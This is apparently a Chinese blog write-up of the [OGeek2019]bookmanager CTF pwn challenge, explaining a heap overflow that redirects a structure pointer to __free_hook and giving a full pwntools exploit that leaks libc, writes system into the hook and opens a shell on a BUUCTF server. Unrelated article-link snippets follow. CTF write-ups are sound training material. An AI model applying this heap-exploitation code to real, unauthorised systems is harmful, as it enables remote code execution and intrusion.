做过的代码量最大的一个题

说出的好也好,不好也不好,利用点很简单,就是一个大规模的heapoverflow,就是逆起来有点儿难度

思路很简单,就是利用堆溢出覆盖结构体中的指针为__free_hook,然后改freehook

给整吐了,做了俩小时,然后本地到了最后一步,freehook每次内容都是一个奇怪的值,就是改不了system,然后远程一打就通了-.-||

 1 from pwn import *
2
3 local = 0
4
5 binary = "./pwn"
6
7 if local == 1:
8 p = process(binary)
9 else:
10 p = remote("node3.buuoj.cn",27329)
11
12 def dbg():
13 context.log_level = 'debug'
14
15 context.terminal = ['tmux','splitw','-h']
16
17 def create_book(name):
18 p.sendafter('Name of the book you want to create:',name)
19
20 def add_chapter(name):
21 p.sendlineafter('Your choice:','1')
22 p.sendafter('Chapter name:',name)
23
24 def add_section(chapter_name,name):
25 p.sendlineafter('Your choice:','2')
26 p.sendafter('Which chapter do you want to add into:',chapter_name)
27 p.sendafter('Section name:',name)
28
29 def add_text(section_name,size,name):
30 p.sendlineafter('Your choice:','3')
31 p.sendafter('Which section do you want to add into:',section_name)
32 p.sendafter('How many chapters you want to write:',str(size))
33 p.sendafter('Text:',name)
34
35 def remove_chapter(chapter_name):
36 p.sendlineafter('Your choice:','4')
37 p.sendafter('Chapter name:',chapter_name)
38
39 def remove_section(section_name):
40 p.sendlineafter('Your choice:','5')
41 p.sendafter('Section name:',section_name)
42
43 def remove_text(section_name):
44 p.sendlineafter('Your choice:','6')
45 p.sendafter('Section name:',section_name)
46
47 def show():
48 p.sendlineafter('Your choice:','7')
49
50 def edit_text(sectionname,newname):
51 p.sendlineafter('Your choice:','8')
52 p.sendlineafter('What to update?(Chapter/Section/Text):','Text')
53 p.sendafter('Section name:',sectionname)
54 p.sendafter('New Text:',newname)
55
56 def edit_section(old_sectionname,newname):
57 p.sendlineafter('Your choice:','8')
58 p.sendlineafter('What to update?(Chapter/Section/Text):','Section')
59 p.sendafter('Section name:',old_sectionname)
60 p.sendafter('New Section name:',newname)
61
62 libc = ELF('./libc-2.23.so')
63
64 create_book('lemon')
65
66 print "==== step1: leak libc ===="
67 add_chapter('one')
68 add_section('one','c' * 8)
69 add_text('c' * 8,0x80,'d' * 8)
70
71 add_chapter('\x01')
72
73 remove_text('cccccccc')
74 add_text('cccccccc',0x80,'aaaaaaaa')
75 show()
76 __malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x10
77 libc_base = __malloc_hook - libc.sym['__malloc_hook']
78 __free_hook = libc_base + libc.sym['__free_hook']
79 system = libc_base + libc.sym['system']
80 print "libc base: ",hex(libc_base)
81
82 print "==== step2: heapoverflow make heap pointer to free hook ===="
83 add_text('cccccccc',0x10,'\x01')
84 payload = '/bin/sh\x00' + 'a' * 8 + p64(0) + p64(0x41) + 'dddddddd' + p64(0) * 3 + p64(__free_hook)
85 add_section('one','dddddddd')
86 #dbg()
87 edit_text('cccccccc',payload)
88 edit_text('dddddddd',p64(system))
89 remove_text('cccccccc')
90
91 #gdb.attach(p)
92 p.interactive()

[OGeek2019]bookmanager的更多相关文章

  1. execution(* *..BookManager.save(..))的解读

    execution(* *..BookManager.save(..))的解读: 第一颗* 代表ret-type-pattern 返回值可任意, *..BookManager 代表任意Pacakge里 ...

  2. [BUUCTF]PWN7——[OGeek2019]babyrop

    [BUUCTF]PWN7--[OGeek2019]babyrop 题目网址:https://buuoj.cn/challenges#[OGeek2019]babyrop 步骤: 例行检查,32位,开启 ...

  3. buuctf@[OGeek2019]babyrop

    #!/usr/bin/python #coding:utf-8 from pwn import * #context.log_level = 'debug' io = process('./pwn', ...

  4. 张高兴的 UWP 开发笔记:横向 ListView

    ListView 默认的排列方向是纵向 ( Orientation="Vertical" ) ,但如果我们需要横向显示的 ListView 怎么办? Blend for Visua ...

  5. AIDL使用解析

    简书本文地址:点击跳转到简书查看 之前面试的时候被问到这个问题,然而当时只有一个大致的印象,随GG,于是我就重新整理的一下.这里大力推荐<Android开发艺术探索>这本书,写的太好了! ...

  6. Android 进程通信机制之 AIDL

    什么是 AIDL AIDL 全称 Android Interface Definition Language,即 安卓接口描述语言.听起来很深奥,其实它的本质就是生成进程间通信接口的辅助工具.它的存在 ...

  7. 设计模式之美:Manager(管理器)

    索引 意图 结构 参与者 适用性 效果 实现 实现方式(一):Manager 模式的示例实现. 意图 将对一个类的所有对象的管理封装到一个单独的管理器类中. 这使得管理职责的变化独立于类本身,并且管理 ...

  8. Lucene.net站内搜索—6、站内搜索第二版

    目录 Lucene.net站内搜索—1.SEO优化 Lucene.net站内搜索—2.Lucene.Net简介和分词Lucene.net站内搜索—3.最简单搜索引擎代码Lucene.net站内搜索—4 ...

  9. 轻松掌握:JavaScript享元模式

    享元模式 在JavaScript中,浏览器特别是移动端的浏览器分配的内存很有限,如何节省内存就成了一件非常有意义的事情.节省内存的一个有效方法是减少对象的数量. 享元模式(Flyweight),运行共 ...

随机推荐

  1. Apache Hudi和Presto的前世今生

    一篇由Apache Hudi PMC Bhavani Sudha Saktheeswaran和AWS Presto团队工程师Brandon Scheller分享Apache Hudi和Presto集成 ...

  2. Vulkan在Android使用Compute shader

    oeip 相关功能只能运行在window平台,想移植到android平台,暂时选择vulkan做为图像处理,主要一是里面有单独的计算管线且支持好,二是熟悉下最新的渲染技术思路. 这个 demo(git ...

  3. 每天一个dos命令-del.

    比较常用的选项: /F 强制删除只读文件. /Q 安静模式.删除全局通配符时,不要求确认 文件名或者路径中有空格,需要使用引号包围 常用的实例:del  /q/f   c:\Securitylog\S ...

  4. Oracle学习(十六)Oracle安装

    为了本地创建数据库自己玩耍,还是下个Oracle的客户端吧... 一.下载地址 注意,要用Oracle的帐号进行登录后才能下载 http://download.oracle.com/otn/nt/or ...

  5. Linux初步了解

    文件系统类型:swap分区:用于内存扩充,用磁盘兑换,磁盘是内存的两倍,便于替换 / 分区:容纳根文件系统 文件名:由字母,数字,下划线,圆点组成 文件类型:显示在每一行的左边第一个字符 普通文件   ...

  6. java安全编码指南之:异常处理

    目录 简介 异常简介 不要忽略checked exceptions 不要在异常中暴露敏感信息 在处理捕获的异常时,需要恢复对象的初始状态 不要手动完成finally block 不要捕获NullPoi ...

  7. Go 基本类型

    整形 标准整形 标准整形是按长度进行分类的,其中uint8为byte型,int16为C语言中的short型,int64为C语言中的long类型. 类型 描述 uint8 无符号 8位整型 (0 到 2 ...

  8. 搭建实用深度学习环境(Ubuntu16.10+Theano0.8.2+Tensorflow0.11.0rc1+Keras1.1.0)

    在动手安装之前,首先要确定硬件,系统,准备安装软件的版本,确定这些软硬件之间是否相互支持或兼容.本文安装的主要环境和软件如下: Ubuntu16.10+CUDA8.0(cudnn5.1,CNMEM)+ ...

  9. 头文件afx.h作用

    转载:https://blog.csdn.net/OnceMonkeyG/article/details/95723290 一些定义与设置,为MFC提供最基本支持,将各种松散的东西组织起来,同时为MF ...

  10. 14.深入k8s:kube-proxy ipvs及其源码分析

    转载请声明出处哦~,本篇文章发布于luozhiyun的博客:https://www.luozhiyun.com 源码版本是1.19 这一篇是讲service,但是基础使用以及基本概念由于官方实在是写的 ...